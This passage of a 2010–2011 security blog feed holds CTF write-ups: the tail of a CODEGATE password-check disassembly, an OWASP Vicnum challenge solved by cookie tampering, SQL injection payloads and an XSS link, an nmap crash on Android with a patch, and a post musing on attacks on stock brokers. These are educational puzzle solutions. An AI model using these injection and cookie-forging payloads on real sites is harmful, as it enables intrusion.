"Found!:",13,10&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebx, offset temp_passwd&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print ebx,13,10&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp genNewPassword&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;end_main:&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ret&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;main endp&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;; obtained from Disassembling&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;checkPWD proc near &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push ax&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push cx&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ah, al&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor al, al&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor dx, ax&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov cl, 8&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;loc_372: ; CODE XREF: sub_368+14 j&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shl dx, 1&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnb short loc_37A&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor dx, 1975h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; loc_37A: ; CODE XREF: sub_368+C j&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dec cl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnz short loc_372&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop cx&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ax&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; retn&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;checkPWD endp&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;end start&lt;/span&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-1291745126768066911?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/1291745126768066911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2011/03/codegate-yut-2011-issue-500-writeup.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/1291745126768066911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/1291745126768066911'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2011/03/codegate-yut-2011-issue-500-writeup.html' title='CODEGATE YUT 2011: Issue 500 writeup'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh5.googleusercontent.com/-B8izN5Ii5j8/TXV0kiqBApI/AAAAAAAAADM/W7c6k_Qht1Y/s72-c/answer1.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-3284549275776855850</id><published>2011-02-22T14:46:00.000-08:00</published><updated>2011-02-22T14:46:04.284-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='challenge'/><category scheme='http://www.blogger.com/atom/ns#' term='owasp'/><category scheme='http://www.blogger.com/atom/ns#' term='webapp'/><title type='text'>Vicnum The Game Challenge -- OWASP AppSec EU 2011</title><content type='html'>Just a quick post about this nice and quick &lt;a href="http://www.appseceu.org/?page_id=175"&gt;challenge&lt;/a&gt;. You can still play &lt;a href="http://vicnum.ciphertechs.com/"&gt;here&lt;/a&gt;, and congratulations to the winner &lt;i&gt;Steve van der Baan&lt;/i&gt; (see his solution &lt;a href="http://www.appseceu.org/?p=202"&gt;here&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Basically, the webapp choose a 3 digits random number that we need to guess, but finding a way to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Hack the Game: Guess with 0 tries&amp;nbsp; (yep, better than a lucky guess)&amp;nbsp; and with a number &amp;gt; 3 digits (1337, for example)&lt;/li&gt;&lt;li&gt;Find a database player with the worst possible score and place another record in the database with that  player’s name concatenated to your name and with a positive score. Something like "worst_player+&lt;my_nickname&gt;"&lt;/my_nickname&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size: large;"&gt;First step: Hack the Game &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Looking at the server response, it can be observed a base64 encoded value:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;input name="VIEWSTATE" type="hidden" value="NDI4%0a%0d" /&gt;&lt;br /&gt;If you decode it (469) and enter this number... you'll guess the value :)&lt;br /&gt;&lt;br /&gt;However, it'll put that you tried once... how to put "0 guesses"? Easy, once you get one valid guess the server issues the following cookies&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;Milano=0012AA9B12good_username_&lt;username&gt; Brussels=0029A9B91crisp1; Geneva=92BEF345Apecan469&lt;/username&gt;&lt;/i&gt;&lt;br /&gt;It's easy to spot the meaning of the cookies&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Milano==username&lt;/li&gt;&lt;li&gt;Brussels==number_of_tries&lt;/li&gt;&lt;li&gt;Geneva==guessed_number&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;So, lauching the following request will get us hack the first part:&lt;br /&gt;&lt;i&gt;GET /vicnum4.php HTTP/1.1&lt;br /&gt;Host: vicnum.ciphertechs.com&lt;br /&gt;Referer: http://vicnum.ciphertechs.com/cgi-bin/vicnum2.pl&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Cookie: Milano=0012AA9B12good&lt;b&gt;&lt;username&gt;&lt;/username&gt;&lt;/b&gt;; Brussels=0029A9B91crisp&lt;b&gt;0&lt;/b&gt;; Geneva=92BEF345Apecan&lt;b&gt;1337&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Second step: Hack the Database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After guessing properly the number, the webapp allows to search for all the users that have guessed the number. It's a simple SQL injection&lt;br /&gt;&lt;br /&gt;So, injecting the following query on the search feature will list all the users&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;player='+or+'1'%3d'1&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; ' or '1'='1&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;And, after wasting some minutes trying to parse the server response I realized that I could be able to use the own SQL Injection to give me the "worst player"...&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;player='+union+select+min(count),'1','1','1'+from+results+where+'1'%3d'1&amp;nbsp; =&amp;gt; ' union select min(count),'1','1','1' from results where '1'='1&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;So, we'll spot the user "appseceu" with -214748348 guesses, so seems that we have now the username. Finally, using the trick used on first part (changing cookies), we solve the challenge:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;GET /vicnum4.php HTTP/1.1&lt;br /&gt;Host: vicnum.ciphertechs.com&lt;br /&gt;Referer: http://vicnum.ciphertechs.com/cgi-bin/vicnum2.pl&lt;br /&gt;Cookie: Milano=0012AA9B12goodappseceu&lt;b&gt;_username_&lt;username&gt;&lt;/username&gt;&lt;/b&gt;; Brussels=0029A9B91crisp&lt;b&gt;1&lt;/b&gt;; Geneva=92BEF345Apecan&lt;b&gt;1337&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Solved :). Thanks for this mini-webchallenge. As a reminder, the 21st of each month will be published a new challenge until the conference in June, so stay tuned to &lt;a href="https://twitter.com/appseceu"&gt;@appseceu&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Bonus Track:&lt;/span&gt;&lt;br /&gt;Btw, a nice &lt;a href="http://vicnum.ciphertechs.com/cgi-bin/vicnum1.pl?player=%22%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E"&gt;XSS&lt;/a&gt; :)&lt;br /&gt;&lt;br /&gt;Regards,&lt;br /&gt;Alex&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-3284549275776855850?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/3284549275776855850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2011/02/vicnum-game-challenge-owasp-appsec-eu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/3284549275776855850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/3284549275776855850'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2011/02/vicnum-game-challenge-owasp-appsec-eu.html' title='Vicnum The Game Challenge -- OWASP AppSec EU 2011'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-5020260824475244951</id><published>2011-02-20T11:46:00.000-08:00</published><updated>2011-02-22T12:14:18.968-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='libc'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Getting fun with Android</title><content type='html'>After playing a bit with Android, i realized two things:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I like it&lt;/li&gt;&lt;li&gt;It´ll offer new interesting security-related challenges.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Also, I found two interesting things that, even public, I was not aware, so hope that help anyone.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;HttpOnly cookies are not working on Android&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It was already known (&lt;a href="https://code.google.com/p/android/issues/detail?id=13623"&gt;here&lt;/a&gt; and &lt;a href="https://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_cookies"&gt;here&lt;/a&gt;), but I was happily surprised that Android doesn´t implement the HttpOnly cookies. So, right now, any XSS attack against this platform  is much more easier as we have access to the cookies using JS code.&lt;br /&gt;&lt;br /&gt;The good news is that, at least, "secure cookies" are implemented :).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Nmap SIGSEGV (or getting fun with Android libc implementation)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First thanks to &lt;a href="https://twitter.com/k0st"&gt;@k0st&lt;/a&gt; as he was really helpful since my finding (and &lt;a href="https://twitter.com/timb_machine"&gt;@timb_machine&lt;/a&gt; for pointing me to @k0st). Now, this bug is fixed on the latest Nmap SVN.&lt;br /&gt;&lt;br /&gt;Basically, latest version of &lt;a href="http://nmap.org/"&gt;nmap&lt;/a&gt; was crashing on my Android when and inexistent hostname was entered:&lt;br /&gt;./nmap --datadir /data/local/nmap/share/nmap &amp;nbsp;-oA scan &amp;nbsp;www.google.com =&amp;gt;&amp;nbsp; OK&lt;br /&gt;./nmap --datadir /data/local/nmap/share/nmap &amp;nbsp;-oA scan&amp;nbsp; eeeeeeeeeeeeeee =&amp;gt;&amp;nbsp; SIGSEV &lt;br /&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;0xafd2d3f4 in freeaddrinfo () from /system/lib/libc.so&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;(gdb) bt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;#0  0xafd2d3f4 in freeaddrinfo () from /system/lib/libc.so&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;#1  0x000b2c54 in TargetGroup::parse_expr ()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;#2  0x0007bb24 in nexthost ()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;#3  0x00077248 in nmap_main ()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;#4  0x00072154 in main ()&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;br /&gt;it was easy to recognize a NULL dereference, but I had one question in my head... &lt;u&gt;&lt;b&gt;why this is not happening on Linux?&lt;/b&gt;&lt;/u&gt;. That´s because Android implements it's own tiny and optimized version of the libc (&lt;span id="goog_1942151996"&gt;&lt;/span&gt;&lt;a href="http://android.git.kernel.org/?p=platform/bionic.git"&gt;Bionic&lt;span id="goog_1942151997"&gt;&lt;/span&gt;&lt;/a&gt;)... On Linux libc a check is done in order to avoid a NULL dereference, but not in Bionic.&lt;br /&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;/div&gt;&lt;pre style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;u&gt;Linux&lt;/u&gt;&lt;br /&gt; &lt;i&gt;freeaddrinfo(NULL)  -&amp;gt; Safe&lt;/i&gt;&lt;br /&gt;&lt;u&gt;Android&lt;/u&gt; (and maybe another platforms)&lt;br /&gt; &lt;i&gt;freeaddrinfo(NULL)  -&amp;gt; Crash&lt;/i&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;This issue is public (&lt;a href="https://code.google.com/p/android/issues/detail?id=13228"&gt;here&lt;/a&gt; and &lt;a href="http://android.git.kernel.org/?p=platform/bionic.git;a=blob;f=libc/netbsd/net/getaddrinfo.c;h=edb4f707e730057d01c10872f01c932c31f42fbf;hb=HEAD#l43"&gt;here&lt;/a&gt;) but I guess that this is not the first (nor the last) bug that we´ll see on applications "ported" to Android, so just take extra care to not introduce new bugs because of the different implementations.&lt;br /&gt;&lt;br /&gt;As a reference, I append the original text.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;PoC (Android 2.2)&lt;br /&gt;./nmap --datadir ../share/nmap asdfasdfasdf&lt;br /&gt;&lt;br /&gt;Basically the problem is the different implementation between libc and Android "bionic libc". See &lt;a href="http://code.google.com/p/android/issues/detail?id=13228"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt; freeaddrinfo(NULL)  -&amp;gt; Safe&lt;br /&gt;Android&lt;br /&gt; freeaddrinfo(NULL)  -&amp;gt; Crash&lt;br /&gt;&lt;br /&gt;So, in Android systems the problem is a NULL dereference in TargetGroup.cc TargetGroup::parse_expr (lines 214-223)&lt;br /&gt;&lt;br /&gt;      addrs = resolve_all(target_net, AF_INET);&lt;br /&gt;      for (addr = addrs; addr != NULL; addr = addr-&amp;gt;ai_next) {&lt;br /&gt;        if (addr-&amp;gt;ai_family != AF_INET)&lt;br /&gt;          continue;&lt;br /&gt;        if (addr-&amp;gt;ai_addrlen &amp;amp;lt; sizeof(ss)) {&lt;br /&gt;          memcpy(&amp;amp;ss, addr-&amp;gt;ai_addr, addr-&amp;gt;ai_addrlen);&lt;br /&gt;          resolvedaddrs.push_back(ss);&lt;br /&gt;        }&lt;br /&gt;      }&lt;br /&gt;      freeaddrinfo(addrs);&lt;br /&gt;&lt;br /&gt;The resolve_all() function is calling the libc function getaddrinfo. (tcpip.cc line 371)&lt;br /&gt;  rc = getaddrinfo(hostname, NULL, &amp;amp;hints, &amp;amp;result);&lt;br /&gt;  if (rc != 0)&lt;br /&gt;    return NULL;&lt;br /&gt;&lt;br /&gt;If the system try to resolve an unknown host like "asdfasdf", the Android bionic libc will return an EAI_NODATA (7). See &lt;a href="http://android.git.kernel.org/?p=platform/bionic.git;a=blob_plain;f=libc/include/netdb.h;hb=HEAD"&gt;here&lt;/a&gt;&lt;br /&gt;So, as the rc !=0 (is EAI_NODATA==7) , the resolve_all query returns NULL, and then, when it's called the following piece of code&lt;br /&gt; freeaddrinfo(addrs);  //addrs is NULL in this case&lt;br /&gt;&lt;br /&gt;it will create a NULL dereference raising the SIGSEV, as the "bionic libc" doesn't check for NULL. Another curiosity is that Android is returning EAI_NODATA (7) that differs from  Linux EAI_ADDRFAMILY (1).&lt;br /&gt;&lt;br /&gt;Patch:&lt;br /&gt;if (addrs)&lt;/span&gt;&lt;/i&gt;&lt;br /&gt; freeaddrinfo(addrs)&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-5020260824475244951?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/5020260824475244951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2011/02/getting-fun-with-android.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/5020260824475244951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/5020260824475244951'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2011/02/getting-fun-with-android.html' title='Getting fun with Android'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-6181928133196103565</id><published>2010-10-05T14:15:00.000-07:00</published><updated>2010-10-05T14:16:48.133-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='stuxnet'/><category scheme='http://www.blogger.com/atom/ns#' term='flash crash'/><category scheme='http://www.blogger.com/atom/ns#' term='market'/><category scheme='http://www.blogger.com/atom/ns#' term='ACN'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='targeted attacks'/><title type='text'>"Flash Crash", Targeted Attacks And Global Security</title><content type='html'>Almost 6 month later of the "&lt;a href="http://en.wikipedia.org/wiki/Flash_crash"&gt;Flash Crash&lt;/a&gt;" on the stock market two agencies of USA (SEC/CFCT) have released an executive &lt;a href="http://www.sec.gov/news/studies/2010/marketevents-report.pdf"&gt;summary&lt;/a&gt; with the "&lt;i&gt;official&lt;/i&gt;" explanation to this crash.&lt;br /&gt;&lt;br /&gt;Basically, the Dow Jones drop around 10% on minutes, affecting heavily to a foreign markets and some companies. For example, this day Accenture (ACN) dropped its value from $30 to $0.01... &lt;b&gt;in 7 seconds!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" height="416" src="http://2.bp.blogspot.com/_3fh-o4rrHOk/TKt54RKnK3I/AAAAAAAAACk/YwtmYVt9Gbk/s640/ACN_flash_crash.png" style="margin-left: auto; margin-right: auto;" width="640" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;From $30 to $0.01 in 7 seconds (!)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_3fh-o4rrHOk/TKt54RKnK3I/AAAAAAAAACk/YwtmYVt9Gbk/s1600/ACN_flash_crash.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Officially, the blame is over one company "Waddell &amp;amp; Reed" as seems that it started to sell a lot of futures contracts (around 75000) on the S&amp;amp;P 500 stock market without explanation. However, there are some dark points on the history (unexplained) like how the "&lt;a href="http://en.wikipedia.org/wiki/Market_maker"&gt;market makers&lt;/a&gt;" were not able to keep the liquidity of the market on safe limits.&lt;br /&gt;&lt;br /&gt;So now I saw a great flaw on all of this system, and I fear about a targeted attack from bad guys. You don't need to compromise a lot of companies. Only need to focus on small groups of investment companies, compromise successfully only one broker computer and wait...&lt;br /&gt;&lt;br /&gt;Then, it is only required to trigger a "human error" that could make enormous profit for the bad guys. Imagine the ROI of buying 1 million of Accenture stocks at 1 cent, and then wait (5 min) until the markets recover from that. Yep, around x3000 boost (!). Sure a lot of people will invest millions to obtain this profit.&lt;br /&gt;&lt;br /&gt;Luckily the famous &lt;i&gt;Stuxnet&lt;/i&gt; focused on SCADA systems, because if it has been focused on the stock market we could have seen a complete different history.&lt;br /&gt;&lt;br /&gt;Another good thing is that, after this "flash crash", some measures have been taken (&lt;a href="http://en.wikipedia.org/wiki/Trading_curb"&gt;Circuit Breaker&lt;/a&gt;) in order to mitigate things like that, but I'm don't know why I'm don't feel safe enough...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-6181928133196103565?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/6181928133196103565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2010/10/flash-crash-targeted-attacks-and-global.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/6181928133196103565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/6181928133196103565'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2010/10/flash-crash-targeted-attacks-and-global.html' title='&quot;Flash Crash&quot;, Targeted Attacks And Global Security'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_3fh-o4rrHOk/TKt54RKnK3I/AAAAAAAAACk/YwtmYVt9Gbk/s72-c/ACN_flash_crash.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-5046819017221479436</id><published>2010-10-02T04:03:00.000-07:00</published><updated>2010-10-11T14:15:24.927-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CTF'/><category scheme='http://www.blogger.com/atom/ns#' term='crypto'/><category scheme='http://www.blogger.com/atom/ns#' term='csaw'/><category scheme='http://www.blogger.com/atom/ns#' term='writeup'/><title type='text'>CSAW CTF - Crypto Writeup (crypto1-crypto3): The easy way</title><content type='html'>&lt;i&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;UPDATE #1&lt;/span&gt; (2010-10-06): Marcin has updated his blog with the description of all the CRYPTO challenges. Take a look &lt;/b&gt;&lt;/i&gt;&lt;a href="http://www.gdssecurity.com/l/b/2010/10/06/crypto-challenges-at-the-csaw-2010-application-ctf-qualifying-round/"&gt;&lt;i&gt;&lt;b&gt;here&lt;/b&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;b&gt; if you want to learn the proper way to solve that&amp;nbsp;;p.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;i&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;UPDATE #2&lt;/span&gt; &lt;/b&gt;&lt;b&gt;(2010-10-11): &lt;/b&gt;&lt;/i&gt;&lt;i&gt;&lt;b&gt;The CSAW CTF Team has published the official solutions of all of the challenges. Take a look &lt;/b&gt;&lt;/i&gt;&lt;a 